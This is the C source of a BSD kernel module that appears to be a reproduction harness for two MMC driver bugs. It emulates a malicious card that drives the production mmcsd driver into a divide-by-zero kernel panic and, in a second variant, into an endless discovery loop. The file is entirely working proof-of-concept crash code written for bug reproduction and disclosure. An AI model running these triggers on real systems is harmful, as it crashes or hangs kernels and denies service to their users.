#define DFH_MUTATING_CID 1
/*
 * DF-5768 / DF-5769 harness — drives the *production* MMC bus code
 * (sys/bus/mmc/mmc.c, compiled into this module verbatim) and the
 * *production, kernel-builtin* mmcsd(4) disk driver through a fake
 * mmcbr bridge that answers with synthetic card data (CID / CSD /
 * EXT_CSD / R1 status).  No SD hardware required.
 *
 * Variants (compile-time):
 *   default            DF-5768: one "malicious" static MMC card whose CSD
 *                     advertises WRITE_BL_LEN = 1 byte (field bits = 0),
 *                     making production mmc.c:1595-1596 derive
 *                     ivar->erase_sector = (1 * 1) / 512 = 0.  After the
 *                     production discovery+attach chain creates /dev/mmcsd0,
 *                     the module issues a BUF_CMD_FREEBLKS bio to the raw
 *                     disk exactly as devfs_spec_freeblks()
 *                     (sys/vfs/devfs/devfs_vnops.c:2028) does for VOP_FREEBLKS
 *                     (UFS softdep TRIM path).  Expected on a vulnerable
 *                     kernel: mmcsd_delete() (sys/dev/disk/mmcsd/mmcsd.c:407-411)
 *                     executes `start % erase_sector` with erase_sector == 0
 *                     -> kernel panic "integer divide fault".
 *
 *   -DFH_MUTATING_CID  DF-5769: every CMD2 (ALL_SEND_CID) is answered with
 *                     success and a fresh CID.  mmc_discover_cards()'s
 *                     while (1) loop exits only on a CMD2 error/timeout
 *                     (mmc.c:1415-1422), so discovery never terminates and
 *                     allocates one mmc_ivars + one bus child per iteration
 *                     forever (kldload never returns; the kernel itself
 *                     prints "**WARNING** waiting for the following device
 *                     to finish configuring: mmc" every 10 s).
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/module.h>
#include <sys/spinlock.h>
#include <sys/bus.h>
#include <sys/endian.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/buf.h>
#include <sys/buf2.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/devfs.h>
#include <sys/kthread.h>

/*
 * Pull in the production mmc bus driver *source*.  Neuter the pieces that
 * would re-register against the builtin kernel copies (the "mmc" devclass
 * itself is shared with the kernel on purpose: the builtin production
 * mmcsd driver attaches to our bus via that devclass).  After the include,
 * every static mmc_* function of sys/bus/mmc/mmc.c is directly reachable.
 */
#undef	SYSCTL_NODE
#undef	SYSCTL_INT
#undef	DRIVER_MODULE
#define	SYSCTL_NODE(a, b, c, d, e, f)		/* drop: hw.mmc exists */
#define	SYSCTL_INT(a, b, c, d, e, f, g)		/* drop: hw.mmc.debug exists */
#define	DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* drop */
#define	mmc_devclass	dfh_mmc_devclass
#include <bus/mmc/mmc.c>
#undef	DRIVER_MODULE
#undef	mmc_devclass
#undef	SYSCTL_INT
#undef	SYSCTL_NODE

/* Restore the header originals verbatim (sys/bus.h, sys/sys/sysctl.h). */
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	\
	DRIVER_MODULE_ORDERED(name, busname, driver, &devclass, evh, arg,\
	                      SI_ORDER_MIDDLE)
#define	SYSCTL_NODE(parent, nbr, name, access, handler, descr)		\
	struct sysctl_oid_list SYSCTL_NODE_CHILDREN(parent, name);	\
	SYSCTL_OID(parent, nbr, name, CTLTYPE_NODE|(access),		\
	    (void*)&SYSCTL_NODE_CHILDREN(parent, name), 0, handler, "N", descr)
#define	SYSCTL_INT(parent, nbr, name, access, ptr, val, descr)		\
	SYSCTL_OID(parent, nbr, name,					\
		CTLTYPE_INT|CTLFLAG_NOLOCK|(access),			\
		ptr, val, sysctl_handle_int, "I", descr)

/* Register the production driver (this exact code object) on our bridge. */
DRIVER_MODULE(dfhmmc, dfhbr, mmc_driver, dfh_mmc_devclass, NULL, NULL);

#include "mmcbr_if.h"
#include "mmcbus_if.h"
#include "bus_if.h"
#include "device_if.h"

/* ------------------------------------------------------------------ */
/* Synthetic card data                                                 */
/* ------------------------------------------------------------------ */

/*
 * mmc_get_bits() semantics: field bits [start+size-1 : start], bit 127 is
 * the MSB of word 0.  Inverse setter:
 */
static void
dfh_set_bits(uint32_t *bits, int bit_len, int start, int size, uint32_t val)
{
	int j, b, w, pos;
	int nwords = bit_len / 32;

	for (j = 0; j < size; j++) {
		b = start + j;
		w = nwords - (b / 32) - 1;
		pos = b & 31;
		if (val & (1u << j))
			bits[w] |= 1u << pos;
		else
			bits[w] &= ~(1u << pos);
	}
}

static uint32_t dfh_cid[4];
static uint32_t dfh_csd[4];
static uint8_t  dfh_ext_csd[MMC_EXTCSD_SIZE];
static uint32_t dfh_cid_counter;
static int dfh_card_state;		/* 0 = idle/ident-capable, 1 = enumerated */

#define	R1_TRAN	((uint32_t)R1_STATE_TRAN << 9)	/* status: current state = trans */

static void
dfh_build_card(void)
{
	memset(dfh_cid, 0, sizeof(dfh_cid));
	memset(dfh_csd, 0, sizeof(dfh_csd));
	memset(dfh_ext_csd, 0, sizeof(dfh_ext_csd));

	/* CID (MMC layout) */
	dfh_set_bits(dfh_cid, 128, 120, 8, 0x13);	/* manufacturer */
	dfh_set_bits(dfh_cid, 128, 104, 8, 'D');	/* oid */
	dfh_set_bits(dfh_cid, 128, 96, 8, 'F');		/* pnm */
	dfh_set_bits(dfh_cid, 128, 88, 8, '5');
	dfh_set_bits(dfh_cid, 128, 80, 8, '7');
	dfh_set_bits(dfh_cid, 128, 72, 8, '6');
	dfh_set_bits(dfh_cid, 128, 64, 8, '8');
	dfh_set_bits(dfh_cid, 128, 56, 8, 0);		/* pnm[5] = 0 */
	dfh_set_bits(dfh_cid, 128, 48, 8, 0x10);	/* prv */
	dfh_set_bits(dfh_cid, 128, 16, 32, 0x00576800);	/* psn */
	dfh_set_bits(dfh_cid, 128, 12, 4, 1);		/* mdt month */
	dfh_set_bits(dfh_cid, 128, 8, 4, 10);		/* mdt year */

	/*
	 * CSD (MMC layout) — mostly spec-conformant, except:
	 *   WRITE_BL_LEN field = 0  ->  write_bl_len = 1 byte  (out of spec,
	 *   but fully parseable), which drives production
	 *   mmc.c:1595-1596:  ivar->erase_sector = 1 * 1 / 512 = 0.
	 */
	dfh_set_bits(dfh_csd, 128, 126, 2, 3);		/* csd_structure */
	dfh_set_bits(dfh_csd, 128, 122, 4, 5);		/* spec_vers (>= 4: EXT_CSD) */
	dfh_set_bits(dfh_csd, 128, 115, 4, 1);		/* tacc mantissa */
	dfh_set_bits(dfh_csd, 128, 112, 3, 1);		/* tacc exponent */
	dfh_set_bits(dfh_csd, 128, 104, 8, 0);		/* nsac */
	dfh_set_bits(dfh_csd, 128, 99, 4, 2);		/* tran_speed mant */
	dfh_set_bits(dfh_csd, 128, 96, 3, 3);		/* tran_speed exp */
	dfh_set_bits(dfh_csd, 128, 84, 12, 0x5);	/* ccc */
	dfh_set_bits(dfh_csd, 128, 80, 4, 9);		/* read_bl_len = 512 */
	dfh_set_bits(dfh_csd, 128, 62, 12, 0);		/* c_size */
	dfh_set_bits(dfh_csd, 128, 47, 3, 0);		/* c_size_mult */
	dfh_set_bits(dfh_csd, 128, 59, 3, 0);		/* vdd_r_curr_min */
	dfh_set_bits(dfh_csd, 128, 56, 3, 0);		/* vdd_r_curr_max */
	dfh_set_bits(dfh_csd, 128, 53, 3, 0);		/* vdd_w_curr_min */
	dfh_set_bits(dfh_csd, 128, 50, 3, 0);		/* vdd_w_curr_max */
	dfh_set_bits(dfh_csd, 128, 42, 5, 0);		/* hc_erase_grp_size */
	dfh_set_bits(dfh_csd, 128, 37, 5, 0);		/* erase_grp_size */
	dfh_set_bits(dfh_csd, 128, 26, 3, 0);		/* r2w_factor */
	dfh_set_bits(dfh_csd, 128, 22, 4, 0);		/* write_bl_len bits = 0 -> 1 byte */
	dfh_set_bits(dfh_csd, 128, 21, 1, 0);		/* write_bl_partial */

	/* EXT_CSD */
	dfh_ext_csd[EXT_CSD_REV] = 5;			/* >= 5: is_4_41p CID year */
	dfh_ext_csd[EXT_CSD_CARD_TYPE] = 0;		/* no HS/DDR: normal timing only */
	dfh_ext_csd[EXT_CSD_SEC_CNT + 0] = 0x00;	/* sec_count = 4096 (2 MB) */
	dfh_ext_csd[EXT_CSD_SEC_CNT + 1] = 0x10;
	dfh_ext_csd[EXT_CSD_SEC_CNT + 2] = 0x00;
	dfh_ext_csd[EXT_CSD_SEC_CNT + 3] = 0x00;
	dfh_ext_csd[EXT_CSD_ERASE_GRP_SIZE] = 0;	/* keep CSD-derived value (0!) */
	dfh_ext_csd[EXT_CSD_GEN_CMD6_TIME] = 25;	/* 250 ms (unused at spec_vers 5) */
}

/* ------------------------------------------------------------------ */
/* Fake mmcbr bridge driver                                            */
/* ------------------------------------------------------------------ */

struct dfhbr_softc {
	/* MMCBR_IVAR_* storage */
	int	 bus_mode, bus_width, chip_select, clock, f_min, f_max;
	int	 host_ocr, mode, ocr, power_mode, vdd, vccq, caps, timing;
	int	 max_data;
	u_int	 max_busy_timeout;
};

static device_method_t dfhbr_methods[];

static int
dfhbr_probe(device_t dev)
{
	kprintf("DFH: dfhbr_probe(%s) invoked\n", device_get_nameunit(dev));
	device_set_desc(dev, "DF harness fake mmc bridge");
	return (0);
}

static int
dfhbr_attach(device_t dev)
{
	struct dfhbr_softc *sc = device_get_softc(dev);
	device_t child;
	int error;

	/* Bridge capabilities: deliberately minimal (1-bit, normal speed). */
	sc->f_max = 26000000;
	sc->f_min = 400000;
	sc->host_ocr = 0x00ff8000;		/* 2.7 .. 3.6 V */
	sc->caps = 0;				/* no 4/8-bit, no HS */
	sc->max_data = 128;
	sc->max_busy_timeout = 1000000;
	sc->clock = 0;

	dfh_build_card();
	dfh_card_state = 0;
	dfh_cid_counter = 0;

	kprintf("DFH: dfhbr_attach\n");
	child = device_add_child(dev, "mmc", -1);
	if (child == NULL) {
		kprintf("DFH: add mmc child failed\n");
		return (ENXIO);
	}
	kprintf("DFH: probing mmc child\n");
	error = device_probe_and_attach(child);
	kprintf("DFH: mmc child probe_and_attach -> %d\n", error);
	return (error);
}

static int
dfhbr_detach(device_t dev)
{
	device_delete_children(dev);
	return (0);
}

static int
dfhbr_read_ivar(device_t brdev, device_t child, int which, uintptr_t *result)
{
	struct dfhbr_softc *sc = device_get_softc(brdev);

	switch (which) {
	case MMCBR_IVAR_BUS_MODE:
		*result = sc->bus_mode;
		break;
	case MMCBR_IVAR_BUS_WIDTH:
		*result = sc->bus_width;
		break;
	case MMCBR_IVAR_CHIP_SELECT:
		*result = sc->chip_select;
		break;
	case MMCBR_IVAR_CLOCK:
		*result = sc->clock;
		break;
	case MMCBR_IVAR_F_MIN:
		*result = sc->f_min;
		break;
	case MMCBR_IVAR_F_MAX:
		*result = sc->f_max;
		break;
	case MMCBR_IVAR_HOST_OCR:
		*result = sc->host_ocr;
		break;
	case MMCBR_IVAR_MODE:
		*result = sc->mode;
		break;
	case MMCBR_IVAR_OCR:
		*result = sc->ocr;
		break;
	case MMCBR_IVAR_POWER_MODE:
		*result = sc->power_mode;
		break;
	case MMCBR_IVAR_VDD:
		*result = sc->vdd;
		break;
	case MMCBR_IVAR_VCCQ:
		*result = sc->vccq;
		break;
	case MMCBR_IVAR_CAPS:
		*result = sc->caps;
		break;
	case MMCBR_IVAR_TIMING:
		*result = sc->timing;
		break;
	case MMCBR_IVAR_MAX_DATA:
		*result = sc->max_data;
		break;
	case MMCBR_IVAR_MAX_BUSY_TIMEOUT:
		*result = sc->max_busy_timeout;
		break;
	default:
		return (EINVAL);
	}
	return (0);
}

static int
dfhbr_write_ivar(device_t brdev, device_t child, int which, uintptr_t value)
{
	struct dfhbr_softc *sc = device_get_softc(brdev);

	switch (which) {
	case MMCBR_IVAR_BUS_MODE:	 sc->bus_mode = value; break;
	case MMCBR_IVAR_BUS_WIDTH:	 sc->bus_width = value; break;
	case MMCBR_IVAR_CHIP_SELECT:	 sc->chip_select = value; break;
	case MMCBR_IVAR_CLOCK:		 sc->clock = value; break;
	case MMCBR_IVAR_HOST_OCR:	 sc->host_ocr = value; break;
	case MMCBR_IVAR_MODE:		 sc->mode = value; break;
	case MMCBR_IVAR_OCR:		 sc->ocr = value; break;
	case MMCBR_IVAR_POWER_MODE:	 sc->power_mode = value; break;
	case MMCBR_IVAR_VDD:		 sc->vdd = value; break;
	case MMCBR_IVAR_VCCQ:		 sc->vccq = value; break;
	case MMCBR_IVAR_TIMING:		 sc->timing = value; break;
	case MMCBR_IVAR_MAX_DATA:	 sc->max_data = value; break;
	default:
		return (EINVAL);
	}
	return (0);
}

static int
dfhbr_update_ios(device_t brdev, device_t reqdev)
{
	return (0);
}

static int
dfhbr_switch_vccq(device_t brdev, device_t reqdev)
{
	return (0);
}

static int
dfhbr_get_ro(device_t brdev, device_t reqdev)
{
	return (0);
}

static int
dfhbr_acquire_host(device_t brdev, device_t reqdev)
{
	return (0);
}

static int
dfhbr_release_host(device_t brdev, device_t reqdev)
{
	return (0);
}

static void
dfh_complete(struct mmc_request *req, int err, uint32_t *r136, uint32_t r1)
{
	int i;

	req->cmd->error = err;
	if (r136 != NULL)
		for (i = 0; i < 4; i++)
			req->cmd->resp[i] = r136[i];
	else
		req->cmd->resp[0] = r1;
	if (req->stop != NULL) {
		req->stop->error = MMC_ERR_NONE;
		req->stop->resp[0] = R1_TRAN;
	}
	req->done(req);
}

/*
 * The scripted card.  Command numbers per JEDEC MMC / SD specs as used by
 * production mmc.c.  Termination of mmc_discover_cards() depends on CMD2
 * eventually failing; a real card stops answering CMD2 once it has an RCA.
 */
static int
dfhbr_request(device_t brdev, device_t reqdev, struct mmc_request *req)
{
	struct mmc_command *cmd = req->cmd;

	switch (cmd->opcode) {
	case MMC_GO_IDLE_STATE:		/* 0 */
		dfh_card_state = 0;
		dfh_complete(req, MMC_ERR_NONE, NULL, 0);
		break;
	case MMC_SEND_OP_COND:		/* 1: MMC probe — ready & busy */
		dfh_complete(req, MMC_ERR_NONE, NULL, 0xC0FF8000u);
		break;
	case MMC_ALL_SEND_CID:		/* 2 */
#ifdef DFH_MUTATING_CID
		/* Malicious card: always a "new" card on the bus. */
		dfh_cid_counter++;
		dfh_set_bits(dfh_cid, 128, 16, 32, dfh_cid_counter);
		dfh_set_bits(dfh_cid, 128, 120, 8, dfh_cid_counter & 0xff);
		dfh_complete(req, MMC_ERR_NONE, dfh_cid, 0);
#else
		if (dfh_card_state == 0) {
			dfh_card_state = 1;	/* card leaves identification */
			dfh_complete(req, MMC_ERR_NONE, dfh_cid, 0);
		} else {
			/* Like a real card in standby: no response. */
			dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0);
		}
#endif
		break;
	case MMC_SET_RELATIVE_ADDR:	/* 3 (== SD_SEND_RELATIVE_ADDR) */
		dfh_card_state = 1;
		dfh_complete(req, MMC_ERR_NONE, NULL,
		    (cmd->arg >> 16) << 16 | R1_TRAN);
		break;
	case MMC_SELECT_CARD:		/* 7 */
		dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
		break;
	case MMC_SEND_CSD:		/* 9 */
		dfh_complete(req, MMC_ERR_NONE, dfh_csd, 0);
		break;
	case MMC_SEND_STATUS:		/* 13 */
		dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
		break;
	case MMC_GO_INACTIVE_STATE:	/* 15 */
		dfh_complete(req, MMC_ERR_NONE, NULL, 0);
		break;
	case MMC_READ_SINGLE_BLOCK:	/* 17 */
	case MMC_READ_MULTIPLE_BLOCK:
	case MMC_WRITE_BLOCK:		/* 24 */
	case MMC_WRITE_MULTIPLE_BLOCK:
		dfh_complete(req, MMC_ERR_TIMEOUT, NULL, R1_TRAN);
		break;
	case MMC_ERASE_GROUP_START:	/* 35 */
	case MMC_ERASE_GROUP_END:	/* 36 */
	case MMC_ERASE:			/* 38 */
		dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
		break;
	default:
		if (cmd->opcode == MMC_SEND_EXT_CSD /* 8 */ ||
		    cmd->opcode == SD_SEND_IF_COND /* 8 */) {
			if (cmd->data != NULL) {
				/* MMC_SEND_EXT_CSD: 512-byte read */
				if (cmd->data->len > MMC_EXTCSD_SIZE)
					cmd->data->len = MMC_EXTCSD_SIZE;
				memcpy(cmd->data->data, dfh_ext_csd,
				    cmd->data->len);
				dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
			} else {
				/* SD_SEND_IF_COND: not an SD 2.0 card */
				dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0);
			}
			break;
		}
		if (cmd->opcode == MMC_SWITCH_FUNC /* 6 */ ||
		    cmd->opcode == SD_SWITCH_FUNC /* 6 */) {
			if (cmd->data != NULL && cmd->data->len > 0 &&
			    (cmd->data->flags & MMC_DATA_READ)) {
				memset(cmd->data->data, 0, cmd->data->len);
			}
			dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
			break;
		}
		if (cmd->opcode == MMC_APP_CMD /* 55 */) {
			/* No SD app commands: forces the MMC probe path. */
			dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0);
			break;
		}
		/* Anything else (16, 19, 14, ...): succeed generically. */
		dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN);
		break;
	}
	return (0);
}

static driver_t dfhbr_driver = {
	"dfhbr",
	dfhbr_methods,
	sizeof(struct dfhbr_softc),
};
static devclass_t dfhbr_devclass;

static device_method_t dfhbr_methods[] = {
	/* device_if */
	DEVMETHOD(device_probe, dfhbr_probe),
	DEVMETHOD(device_attach, dfhbr_attach),
	DEVMETHOD(device_detach, dfhbr_detach),

	/* bus_if */
	DEVMETHOD(bus_read_ivar, dfhbr_read_ivar),
	DEVMETHOD(bus_write_ivar, dfhbr_write_ivar),

	/* mmcbr_if */
	DEVMETHOD(mmcbr_update_ios, dfhbr_update_ios),
	DEVMETHOD(mmcbr_switch_vccq, dfhbr_switch_vccq),
	DEVMETHOD(mmcbr_request, dfhbr_request),
	DEVMETHOD(mmcbr_get_ro, dfhbr_get_ro),
	DEVMETHOD(mmcbr_acquire_host, dfhbr_acquire_host),
	DEVMETHOD(mmcbr_release_host, dfhbr_release_host),

	DEVMETHOD_END
};

DRIVER_MODULE(dfhbr, root, dfhbr_driver, dfhbr_devclass, NULL, NULL);

/* ------------------------------------------------------------------ */
/* DF-5768 trigger: production TRIM (BUF_CMD_FREEBLKS) to /dev/mmcsd0  */
/* ------------------------------------------------------------------ */

#ifndef DFH_MUTATING_CID
static void
dfh_trigger_freeblks(void)
{
	devclass_t dc;
	device_t *mlist, *clist, mmc0, card;
	cdev_t disk;
	struct mmc_ivars *ivar;
	struct buf *bp;
	int i, mn, cn, count;

	dc = devclass_find("mmc");
	if (dc == NULL || devclass_get_devices(dc, &mlist, &mn) != 0 || mn == 0) {
		kprintf("DF-5768: no mmc bus device found\n");
		return;
	}
	mmc0 = mlist[0];
	kfree(mlist, M_TEMP);
	if (device_get_children(mmc0, &clist, &cn) != 0 || cn == 0) {
		kprintf("DF-5768: no card child under mmc0\n");
		return;
	}
	card = clist[0];
	kfree(clist, M_TEMP);
	ivar = device_get_ivars(card);

	kprintf("DF-5768: production enumeration finished:\n");
	kprintf("DF-5768:   rca=0x%04x mode=%d spec_vers=%d read_bl_len=%u\n",
	    ivar->rca, ivar->mode, ivar->csd.spec_vers, ivar->csd.read_bl_len);
	kprintf("DF-5768:   csd.erase_sector=%u csd.write_bl_len=%u -> ivar->erase_sector=%u (mmc.c:1595-1596)\n",
	    ivar->csd.erase_sector, ivar->csd.write_bl_len, ivar->erase_sector);
	kprintf("DF-5768:   sec_count=%u cmd6_time=%u us\n",
	    ivar->sec_count, ivar->cmd6_time);

	disk = devfs_find_device_by_name("mmcsd0");
	if (disk == NULL) {
		kprintf("DF-5768: /dev/mmcsd0 not present\n");
		return;
	}
	kprintf("DF-5768: issuing BUF_CMD_FREEBLKS to mmcsd0 "
	    "(exactly devfs_spec_freeblks, devfs_vnops.c:2031-2045)...\n");

	/*
	 * Mirror of sys/vfs/devfs/devfs_vnops.c:devfs_spec_freeblks().
	 */
	bp = getpbuf(NULL);
	bp->b_cmd = BUF_CMD_FREEBLKS;
	bp->b_bio1.bio_flags |= BIO_SYNC;
	bp->b_bio1.bio_offset = 0;
	bp->b_bio1.bio_done = biodone_sync;
	bp->b_bcount = 512;
	dev_dstrategy(disk, &bp->b_bio1);
	biowait(&bp->b_bio1, "TRIM");
	relpbuf(bp, NULL);

	kprintf("DF-5768: biowait returned — divide-by-zero did NOT occur\n");
	count = 0;
	for (i = 0; i < 4096; i++)
		count += i;
	kprintf("DF-5768: NOT reproduced (exit)\n");
}
#endif

/* ------------------------------------------------------------------ */
/* Module glue                                                         */
/* ------------------------------------------------------------------ */

static device_t dfhbr0;
static struct thread *dfh_td;

static void
dfh_boot(void *arg)
{
	int error;

	/*
	 * Module init handlers inside one kldload are not sorted by
	 * SI_ORDER; our module may run before the DRIVER_MODULE
	 * registrations.  Sleep until the kldload syscall (and thus all
	 * module handlers in this file) has completed, then build the
	 * dfhbr0 -> mmc0 -> (card) -> mmcsd0 chain.
	 */
	tsleep(&dfh_td, 0, "dfhgo", 2 * hz);

	kprintf("DFH: boot thread: creating dfhbr0\n");
	dfhbr0 = device_add_child(root_bus, "dfhbr", 0);
	if (dfhbr0 == NULL) {
		kprintf("DFH: device_add_child failed\n");
		kthread_exit();
	}
	error = device_probe_and_attach(dfhbr0);
	kprintf("DFH: probe_and_attach(dfhbr0) -> %d\n", error);
	if (error)
		kthread_exit();

#ifndef DFH_MUTATING_CID
	/*
	 * On the vulnerable kernel this panics (integer divide fault in
	 * production mmcsd_delete()) as soon as the FREEBLKS bio is run.
	 */
	dfh_trigger_freeblks();
	tsleep(&dfh_td, 0, "dfhdone", hz);
#else
	kprintf("DF-5769: mutating-CID card active; mmc_discover_cards() "
	    "is now looping forever in this thread\n");
	/* NOTREACHED on vulnerable kernels */
#endif
	kthread_exit();
}

static int
dfh_modevent(module_t mod, int type, void *arg)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
#ifdef DFH_MUTATING_CID
		kprintf("DFH: MOD_LOAD (variant: DF-5769 mutating-CID)\n");
#else
		kprintf("DFH: MOD_LOAD (variant: DF-5768 static-CID erase=0)\n");
#endif
		error = kthread_create(dfh_boot, NULL, &dfh_td, "dfh_boot");
		break;
	case MOD_UNLOAD:
		if (dfhbr0 != NULL)
			error = device_delete_child(root_bus, dfhbr0);
		break;
	default:
		break;
	}
	return (error);
}

static moduledata_t dfh_moddata = {
#ifdef DFH_MUTATING_CID
	"df5769",
#else
	"df5768",
#endif
	dfh_modevent,
	NULL
};

#ifdef DFH_MUTATING_CID
DECLARE_MODULE(df5769, dfh_moddata, SI_SUB_DRIVERS, SI_ORDER_THIRD);
#else
DECLARE_MODULE(df5768, dfh_moddata, SI_SUB_DRIVERS, SI_ORDER_THIRD);
#endif
